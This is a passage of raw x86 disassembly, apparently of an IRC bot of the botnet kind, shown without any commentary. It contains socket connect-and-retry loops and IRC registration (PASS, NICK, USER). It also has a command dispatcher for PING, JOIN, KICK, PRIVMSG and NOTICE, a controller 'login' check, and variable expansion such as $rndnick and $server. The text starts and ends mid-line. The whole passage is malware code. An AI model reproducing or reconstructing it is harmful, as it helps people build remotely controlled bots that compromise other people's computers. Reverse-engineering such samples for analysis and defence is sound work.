dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40841B proc near ; CODE XREF: sub_4010FFj var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_408440: ; CODE XREF: sub_40841B+E6j ; sub_40841B+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415CA0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_49165C ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_4011C2 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40856D push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_415CA0 push 0 lea eax, [ebp+var_2C] push dword_483620 push dword_42C92C push eax call sub_401343 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E938 push edi push eax call sub_416A10 add esp, 28h push 6 push 1 push 2 call dword_4916DC ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E92C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_491604 ; connect cmp eax, 0FFFFFFFFh jnz short loc_408506 push esi call dword_4916F4 ; closesocket call sub_4010CD push 7D0h loc_4084FB: ; CODE XREF: sub_40841B+146j call ds:dword_495324 ; Sleep jmp loc_408440 ; --------------------------------------------------------------------------- loc_408506: ; CODE XREF: sub_40841B+CDj lea eax, [ebp+var_18C] push eax push offset unk_42D40C call sub_4012B2 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40116D add esp, 28h mov edi, eax push esi call dword_4916F4 ; closesocket test edi, edi jz loc_408440 cmp edi, 1 jnz short loc_408563 push 0DBBA0h jmp short loc_4084FB ; --------------------------------------------------------------------------- loc_408563: ; CODE XREF: sub_40841B+13Fj cmp edi, 2 jz short loc_408571 jmp loc_408440 ; --------------------------------------------------------------------------- loc_40856D: ; CODE XREF: sub_40841B+5Aj xor eax, eax jmp short loc_40857D ; --------------------------------------------------------------------------- loc_408571: ; CODE XREF: sub_40841B+14Bj push [ebp+var_34] call sub_4012A3 pop ecx push 2 pop eax loc_40857D: ; CODE XREF: sub_40841B+154j pop edi pop esi leave retn 4 sub_40841B endp ; --------------------------------------------------------------------------- db 5Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085DD proc near ; CODE XREF: sub_40116Dj var_1B90 = byte ptr -1B90h var_B90 = byte ptr -0B90h var_3C0 = byte ptr -3C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1B90h call sub_416880 push ebx push esi push edi xor ebx, ebx push 5 mov [ebp+var_8], ebx lea eax, [ebp+var_3C0] pop ecx loc_4085FB: ; CODE XREF: sub_4085DD+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_4085FB cmp byte_483628, bl jz short loc_408622 push offset byte_483628 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_401032 add esp, 0Ch loc_408622: ; CODE XREF: sub_4085DD+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_401343 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_416821 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4916AC ; send cmp eax, 0FFFFFFFFh jnz short loc_40868C push [ebp+arg_0] call dword_4916F4 ; closesocket push 1388h call ds:dword_495324 ; Sleep loc_408685: ; CODE XREF: sub_4085DD+D9j ; sub_4085DD+153j xor eax, eax loc_408687: ; CODE XREF: sub_4085DD+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40868C: ; CODE XREF: sub_4085DD+92j ; sub_4085DD+F8j ... mov esi, 1000h lea eax, [ebp+var_1B90] push esi push ebx push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp+var_1B90] push ebx push esi push eax push [ebp+arg_0] call dword_491674 ; recv test eax, eax jle short loc_408685 lea eax, [ebp+var_B90] push eax lea eax, [ebp+var_1B90] push eax call sub_4010D7 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40868C lea edi, [ebp+var_B90] loc_4086DD: ; CODE XREF: sub_4085DD+165j push 1 pop esi loc_4086E0: ; CODE XREF: sub_4085DD+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_3C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40110E add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_408723 push 7D0h call ds:dword_495324 ; Sleep jmp short loc_4086E0 ; --------------------------------------------------------------------------- loc_408723: ; CODE XREF: sub_4085DD+137j cmp esi, 0FFFFFFFDh jz short loc_40874D cmp esi, 0FFFFFFFEh jz short loc_408749 cmp esi, 0FFFFFFFFh jz loc_408685 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_4086DD jmp loc_40868C ; --------------------------------------------------------------------------- loc_408749: ; CODE XREF: sub_4085DD+14Ej push 1 jmp short loc_40874F ; --------------------------------------------------------------------------- loc_40874D: ; CODE XREF: sub_4085DD+149j push 2 loc_40874F: ; CODE XREF: sub_4085DD+16Ej pop eax jmp loc_408687 sub_4085DD endp ; --------------------------------------------------------------------------- db 5Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087B3 proc near ; CODE XREF: sub_40110Ej var_159C = byte ptr -159Ch var_119C = byte ptr -119Ch var_F9C = byte ptr -0F9Ch var_D9C = byte ptr -0D9Ch var_C9C = byte ptr -0C9Ch var_C98 = byte ptr -0C98h var_B98 = byte ptr -0B98h var_B94 = byte ptr -0B94h var_A94 = byte ptr -0A94h var_A14 = byte ptr -0A14h var_9B3 = byte ptr -9B3h var_9B2 = byte ptr -9B2h var_9B0 = byte ptr -9B0h var_9AF = byte ptr -9AFh var_9A6 = byte ptr -9A6h var_9A4 = byte ptr -9A4h var_9A2 = byte ptr -9A2h var_9A1 = byte ptr -9A1h var_914 = dword ptr -914h var_910 = byte ptr -910h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = byte ptr -804h var_788 = byte ptr -788h var_778 = dword ptr -778h var_774 = byte ptr -774h var_700 = byte ptr -700h var_6F8 = dword ptr -6F8h var_6F4 = byte ptr -6F4h var_689 = byte ptr -689h var_688 = byte ptr -688h var_674 = byte ptr -674h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = byte ptr -5F0h var_588 = dword ptr -588h var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = byte ptr -564h var_548 = byte ptr -548h var_4F0 = dword ptr -4F0h var_4EC = byte ptr -4ECh var_4E0 = dword ptr -4E0h var_4DC = byte ptr -4DCh var_4AC = byte ptr -4ACh var_48C = dword ptr -48Ch var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = byte ptr -448h var_444 = byte ptr -444h var_430 = byte ptr -430h var_420 = byte ptr -420h var_40C = dword ptr -40Ch var_404 = byte ptr -404h var_3F8 = dword ptr -3F8h var_3F4 = byte ptr -3F4h var_3E8 = byte ptr -3E8h var_3E4 = byte ptr -3E4h var_3C4 = byte ptr -3C4h var_3A0 = byte ptr -3A0h var_384 = byte ptr -384h var_374 = byte ptr -374h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = byte ptr -2E4h var_E4 = byte ptr -0E4h var_D8 = word ptr -0D8h var_D6 = word ptr -0D6h var_D4 = dword ptr -0D4h var_C8 = dword ptr -0C8h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_60 = byte ptr -60h var_24 = byte ptr -24h var_20 = byte ptr -20h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 159Ch call sub_416880 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2E4] push ebx push eax mov [ebp+var_A8], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_C8], ebx call sub_415CA0 push 1Bh lea eax, [ebp+var_564] push [ebp+arg_10] push eax call sub_416A10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_408B77 push esi lea eax, [ebp+var_F9C] push ebx push eax call sub_415CA0 dec esi lea eax, [ebp+var_F9C] push esi push [ebp+arg_0] push eax call sub_416A10 lea eax, [ebp+var_F9C] push offset asc_42F9C0 ; " :" push eax call sub_417760 mov [ebp+var_C], eax lea eax, [ebp+var_F9C] push esi push eax lea eax, [ebp+var_119C] push eax call sub_416A10 mov esi, offset asc_42BFC4 ; " " lea eax, [ebp+var_119C] push esi push eax call sub_4176C0 add esp, 34h mov [ebp+var_A0], eax lea edi, [ebp+var_9C] mov [ebp+var_A4], 1Fh loc_408886: ; CODE XREF: sub_4087B3+E7j push esi push ebx call sub_4176C0 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A4] pop ecx jnz short loc_408886 mov esi, [ebp+var_A0] cmp esi, ebx jz loc_408B77 cmp [ebp+var_9C], ebx jz loc_408B77 push 100h lea eax, [ebp+var_A14] push ebx push eax call sub_415CA0 add esp, 0Ch lea ecx, [ebp+var_24] push 1Fh pop edx push 1 pop edi loc_4088D4: ; CODE XREF: sub_4087B3+153j mov eax, [ecx] cmp eax, ebx jz short loc_408900 cmp byte ptr [eax], 2Dh jnz short loc_408908 cmp [eax+2], bl jnz short loc_408908 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A14], 1 mov esi, [ebp+var_A0] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_408900: ; CODE XREF: sub_4087B3+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_4088D4 loc_408908: ; CODE XREF: sub_4087B3+12Aj ; sub_4087B3+12Fj cmp [ebp+var_9A1], bl jz short loc_408913 mov [ebp+var_8], edi loc_408913: ; CODE XREF: sub_4087B3+15Bj cmp [ebp+var_9A6], bl jz short loc_408921 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_408921: ; CODE XREF: sub_4087B3+166j cmp byte ptr [esi], 0Ah jz short loc_40895B push 7Fh lea eax, [ebp+var_A94] push esi push eax call sub_416A10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_416A10 lea eax, [ebp+var_C4] push offset asc_42F9BC ; "!" push eax call sub_4176C0 add esp, 20h loc_40895B: ; CODE XREF: sub_4087B3+171j push esi push offset aPing ; "PING" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_4089AC push [ebp+var_9C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_401032 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_408A50 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_401032 add esp, 10h jmp loc_408A50 ; --------------------------------------------------------------------------- loc_4089AC: ; CODE XREF: sub_4087B3+1B7j mov esi, [ebp+var_9C] push esi push offset a001 ; "001" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40D1AF push esi push offset a005 ; "005" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40D1AF push esi push offset a302 ; "302" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408A17 push offset a@ ; "@" push [ebp+var_94] call sub_417760 pop ecx cmp eax, ebx pop ecx jz short loc_408A50 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_416A10 add esp, 0Ch jmp short loc_408A50 ; --------------------------------------------------------------------------- loc_408A17: ; CODE XREF: sub_4087B3+238j push esi push offset a433 ; "433" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408A57 push ebx push dword_483620 push dword_42C92C push [ebp+arg_10] call sub_401343 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_401032 add esp, 1Ch loc_408A50: ; CODE XREF: sub_4087B3+1D8j ; sub_4087B3+1F4j ... mov eax, edi jmp loc_408B7A ; --------------------------------------------------------------------------- loc_408A57: ; CODE XREF: sub_4087B3+273j mov esi, [ebp+arg_18] mov [ebp+var_A4], 5 mov edi, 80h loc_408A69: ; CODE XREF: sub_4087B3+2DBj lea eax, [ebp+var_A94] push eax push esi call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408A86 mov [ebp+var_AC], 1 loc_408A86: ; CODE XREF: sub_4087B3+2C7j add esi, edi dec [ebp+var_A4] jnz short loc_408A69 mov esi, [ebp+var_9C] push esi push offset aKick ; "KICK" call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_408B7F mov esi, [ebp+arg_18] mov [ebp+arg_24], 5 loc_408AB5: ; CODE XREF: sub_4087B3+38Fj cmp [esi], bl jz loc_408B3D push 7Fh lea eax, [ebp+var_A94] push esi push eax call sub_416A10 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_408B3D cmp [ebp+var_94], ebx jz short loc_408B3D push [ebp+var_94] lea eax, [ebp+var_C4] push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408B3D lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2E4] push offset unk_42F93C push eax call sub_416821 lea eax, [ebp+var_2E4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_401032 lea eax, [ebp+var_2E4] push eax call sub_401014 add esp, 20h loc_408B3D: ; CODE XREF: sub_4087B3+304j ; sub_4087B3+324j ... add esi, edi dec [ebp+arg_24] jnz loc_408AB5 push [ebp+var_94] push [ebp+arg_10] call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408B77 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_408B6C: ; CODE XREF: sub_4087B3+615j ; sub_4087B3+858j ... push [ebp+arg_4] call sub_401032 loc_408B74: ; CODE XREF: sub_4087B3+4073j ; sub_4087B3+4090j ... add esp, 10h loc_408B77: ; CODE XREF: sub_4087B3+5Bj ; sub_4087B3+F1j ... push 1 loc_408B79: ; CODE XREF: sub_4087B3+45AAj pop eax loc_408B7A: ; CODE XREF: sub_4087B3+29Fj ; sub_4087B3+2BB0j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_408B7F: ; CODE XREF: sub_4087B3+2F2j push esi push offset aNick ; "NICK" call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_408CD5 mov eax, [ebp+var_98] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 5 mov [ebp+arg_24], eax loc_408BA8: ; CODE XREF: sub_4087B3+447j lea eax, [ebp+var_A94] push eax push esi call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408BF5 lea eax, [ebp+var_A94] push 21h push eax call sub_417B60 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_408BF5 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4175D0 push [ebp+arg_1C] push edi call sub_4175E0 add esp, 10h mov edi, 80h loc_408BF5: ; CODE XREF: sub_4087B3+406j ; sub_4087B3+41Dj add esi, edi dec [ebp+arg_0] jnz short loc_408BA8 lea eax, [ebp+var_C4] test eax, eax jz loc_408B77 cmp [ebp+arg_24], ebx jz loc_408B77 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408C3D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_416A10 add esp, 0Ch jmp loc_408B77 ; --------------------------------------------------------------------------- loc_408C3D: ; CODE XREF: sub_4087B3+473j mov edi, [ebp+arg_18] xor esi, esi loc_408C42: ; CODE XREF: sub_4087B3+4B0j cmp [edi], bl jz short loc_408C59 lea eax, [ebp+var_A94] push eax push edi call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_408C6A loc_408C59: ; CODE XREF: sub_4087B3+491j inc esi add edi, 80h cmp esi, 5 jl short loc_408C42 jmp loc_408B77 ; --------------------------------------------------------------------------- loc_408C6A: ; CODE XREF: sub_4087B3+4A4j lea eax, [ebp+var_A94] push 21h push eax call sub_417B60 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_408B77 push eax call sub_4158E0 push [ebp+arg_24] mov edi, eax call sub_4158E0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_408B77 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_3 ; ":%s%s" push esi call sub_416821 push ebx lea eax, [ebp+var_4AC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_4010D2 add esp, 24h jmp loc_408B77 ; --------------------------------------------------------------------------- loc_408CD5: ; CODE XREF: sub_4087B3+3DBj push esi push offset aPart ; "PART" call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_408CF7 push esi push offset aQuit ; "QUIT" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408D1E loc_408CF7: ; CODE XREF: sub_4087B3+531j mov edi, [ebp+arg_18] xor esi, esi loc_408CFC: ; CODE XREF: sub_4087B3+569j cmp [edi], bl jz short loc_408D12 push [ebp+var_A0] push edi call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_408D6C loc_408D12: ; CODE XREF: sub_4087B3+54Bj inc esi add edi, 80h cmp esi, 5 jl short loc_408CFC loc_408D1E: ; CODE XREF: sub_4087B3+542j push [ebp+var_9C] push offset dword_42F90C call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_408DCD push [ebp+var_90] push [ebp+arg_8] call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408D55 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_408D55: ; CODE XREF: sub_4087B3+597j push [ebp+var_90] push offset unk_42F8D8 loc_408D60: ; CODE XREF: sub_4087B3+43D3j ; sub_4087B3+49F7j call sub_4012B2 pop ecx loc_408D66: ; CODE XREF: sub_4087B3+4733j pop ecx jmp loc_408B77 ; --------------------------------------------------------------------------- loc_408D6C: ; CODE XREF: sub_4087B3+55Dj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2E4] push offset unk_42F8A4 push eax call sub_416821 lea eax, [ebp+var_2E4] push eax call sub_401014 push [ebp+var_9C] push offset aPart ; "PART" call sub_416B70 add esp, 18h test eax, eax jnz loc_408B77 lea eax, [ebp+var_2E4] push eax mov eax, [ebp+var_A0] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_408B6C ; --------------------------------------------------------------------------- loc_408DCD: ; CODE XREF: sub_4087B3+57Fj push [ebp+var_9C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_416B70 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_408E21 push [ebp+var_9C] push edi call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_408E21 push [ebp+var_9C] push offset a332 ; "332" call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_40D023 cmp dword_42C930, ebx jz loc_40D023 loc_408E21: ; CODE XREF: sub_4087B3+634j ; sub_4087B3+646j push [ebp+var_9C] push esi call sub_416B70 pop ecx test eax, eax pop ecx jz loc_408F27 push [ebp+var_9C] push edi call sub_416B70 pop ecx test eax, eax pop ecx jz loc_408F27 mov eax, [ebp+var_94] inc [ebp+var_90] push 4 mov [ebp+var_98], eax pop esi mov [ebp+var_A8], esi loc_408E68: ; CODE XREF: sub_4087B3+830j ; sub_4087B3+86Cj ... shl esi, 2 mov ecx, [ebp+esi+var_A0] lea eax, [ebp+esi+var_A0] lea edi, [ecx+1] mov [eax], edi mov al, [ecx] cmp al, byte_42C952 mov [ebp+arg_C], edi jnz loc_408B77 push edi push offset aLogin ; "login" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40D02B push edi push offset aLogin ; "login" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40D02B cmp [ebp+var_AC], ebx jnz short loc_408EDB push [ebp+var_9C] push offset a332 ; "332" call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_40D023 loc_408EDB: ; CODE XREF: sub_4087B3+70Cj cmp [ebp+arg_28], ebx jnz loc_40D023 cmp dword_42CCB0, ebx mov [ebp+arg_8], ebx jle loc_4091A5 mov [ebp+arg_20], offset dword_43DBA0 loc_408EFA: ; CODE XREF: sub_4087B3+76Dj push edi push [ebp+arg_20] call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40904F inc [ebp+arg_8] add [ebp+arg_20], 0B8h mov eax, [ebp+arg_8] cmp eax, dword_42CCB0 jl short loc_408EFA jmp loc_4091A5 ; --------------------------------------------------------------------------- loc_408F27: ; CODE XREF: sub_4087B3+67Ej ; sub_4087B3+694j push [ebp+var_9C] push edi call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_408F40 mov [ebp+var_4], 1 loc_408F40: ; CODE XREF: sub_4087B3+784j cmp [ebp+var_98], ebx jz loc_408B77 push offset dword_42A16C push [ebp+var_98] call sub_417760 pop ecx test eax, eax pop ecx jz short loc_408F67 cmp [ebp+var_4], ebx jz short loc_408F73 loc_408F67: ; CODE XREF: sub_4087B3+7ADj lea eax, [ebp+var_C4] mov [ebp+var_98], eax loc_408F73: ; CODE XREF: sub_4087B3+7B2j cmp [ebp+var_94], ebx jz loc_408B77 inc [ebp+var_94] jz short loc_408FBF cmp [ebp+arg_10], ebx jz short loc_408FBF lea eax, [ebp+var_564] push eax call sub_4158E0 push eax lea eax, [ebp+var_564] push [ebp+var_94] push eax call sub_417B10 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_A8], esi jmp short loc_408FC5 ; --------------------------------------------------------------------------- loc_408FBF: ; CODE XREF: sub_4087B3+7D2j ; sub_4087B3+7D7j mov esi, [ebp+var_A8] loc_408FC5: ; CODE XREF: sub_4087B3+80Aj mov edi, [ebp+esi*4+var_A0] cmp edi, ebx jz loc_408B77 push edi push offset dword_42F878 call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_408E68 mov ecx, [ebp+var_98] cmp byte ptr [ecx], 23h jz short loc_409010 mov eax, dword_483634 mov eax, off_42C9E8[eax*4] cmp [eax], bl jz short loc_409010 push eax push ecx push offset dword_42F858 jmp loc_408B6C ; --------------------------------------------------------------------------- loc_409010: ; CODE XREF: sub_4087B3+83Fj ; sub_4087B3+84Fj push edi push offset dword_42F850 call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_408E68 mov eax, [ebp+esi*4+var_9C] cmp eax, ebx jz loc_408E68 mov ecx, [ebp+var_98] cmp byte ptr [ecx], 23h jz loc_408E68 push eax push ecx push offset dword_42F834 jmp loc_408B6C ; --------------------------------------------------------------------------- loc_40904F: ; CODE XREF: sub_4087B3+754j push offset asc_42F9C0 ; " :" push [ebp+arg_0] call sub_417760 pop ecx cmp eax, ebx pop ecx jz loc_408B77 mov edi, [ebp+arg_8] mov cl, byte_42C952 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42C952 mov [eax+3], cl lea ecx, dword_43DBB8[edi] push 9Fh add eax, 4 push ecx push eax call sub_416A10 lea eax, [ebp+esi+var_60] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax loc_4090A7: ; CODE XREF: sub_4087B3+98Dj push [ebp+arg_8] lea eax, [ebp+var_20] push offset aD ; "$%d-" push eax call sub_416821 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_417760 add esp, 14h test eax, eax jz short loc_40910A mov eax, [ebp+arg_20] cmp [eax], ebx jz short loc_40910A lea eax, dword_43DBA0[edi] push eax call sub_4158E0 add [ebp+var_C], eax pop ecx jz short loc_409136 mov eax, [ebp+arg_20] push dword ptr [eax-4] push [ebp+var_C] call sub_417760 pop ecx cmp eax, ebx pop ecx jz short loc_409136 push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40113B add esp, 0Ch jmp short loc_409136 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_4087B3+916j ; sub_4087B3+91Dj mov eax, [ebp+arg_20] cmp [eax], ebx jnz short loc_409136 lea eax, [ebp+var_20] push 2 push eax lea eax, [ebp+var_14] push eax call sub_416A10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40113B add esp, 18h loc_409136: ; CODE XREF: sub_4087B3+92Fj ; sub_4087B3+943j ... dec [ebp+arg_8] sub [ebp+arg_20], 4 cmp [ebp+arg_8], ebx jg loc_4090A7 lea eax, [ebp+esi+var_60] mov [ebp+arg_8], 10h mov edi, eax loc_409153: ; CODE XREF: sub_4087B3+9E3j push [ebp+arg_8] lea eax, [ebp+var_20] push offset aD_1 ; "$%d" push eax call sub_416821 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_417760 add esp, 14h test eax, eax jz short loc_40918D mov eax, [edi] cmp eax, ebx jz short loc_40918D push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40113B add esp, 0Ch loc_40918D: ; CODE XREF: sub_4087B3+9C2j ; sub_4087B3+9C8j dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_409153 mov edi, [ebp+arg_C] mov [ebp+var_C8], 1 loc_4091A5: ; CODE XREF: sub_4087B3+73Aj ; sub_4087B3+76Fj mov al, [edi] cmp al, byte_42C952 jz short loc_4091BB cmp [ebp+var_C8], ebx jz loc_40937C loc_4091BB: ; CODE XREF: sub_4087B3+9FAj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_40113B lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_40113B push [ebp+var_98] push offset aChan ; "$chan" push edi call sub_40113B push ebx push ebx lea eax, [ebp+var_20] push 2 push eax call sub_401343 push eax push offset aRndnick ; "$rndnick" push edi call sub_40113B add esp, 40h push [ebp+arg_14] push offset aServer ; "$server" push edi call sub_40113B mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417760 add esp, 14h loc_40922A: ; CODE XREF: sub_4087B3+B42j test eax, eax jz loc_4092FA push edi push [ebp+arg_0] call sub_417760 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_20] push eax call sub_416A10 lea eax, [ebp+var_20] push offset asc_42F7F0 ; ")" push eax call sub_4176C0 add esp, 1Ch cmp [ebp+var_20], 30h jl short loc_40926A cmp [ebp+var_20], 39h jle short loc_40927D loc_40926A: ; CODE XREF: sub_4087B3+AAFj push 3 lea eax, [ebp+var_20] push offset a63 ; "63" push eax call sub_416A10 add esp, 0Ch loc_40927D: ; CODE XREF: sub_4087B3+AB5j lea eax, [ebp+var_20] push eax call sub_416CCF test eax, eax pop ecx jle short loc_40929A lea eax, [ebp+var_20] push eax call sub_416CCF pop ecx mov [ebp+var_14], al jmp short loc_4092AB ; --------------------------------------------------------------------------- loc_40929A: ; CODE XREF: 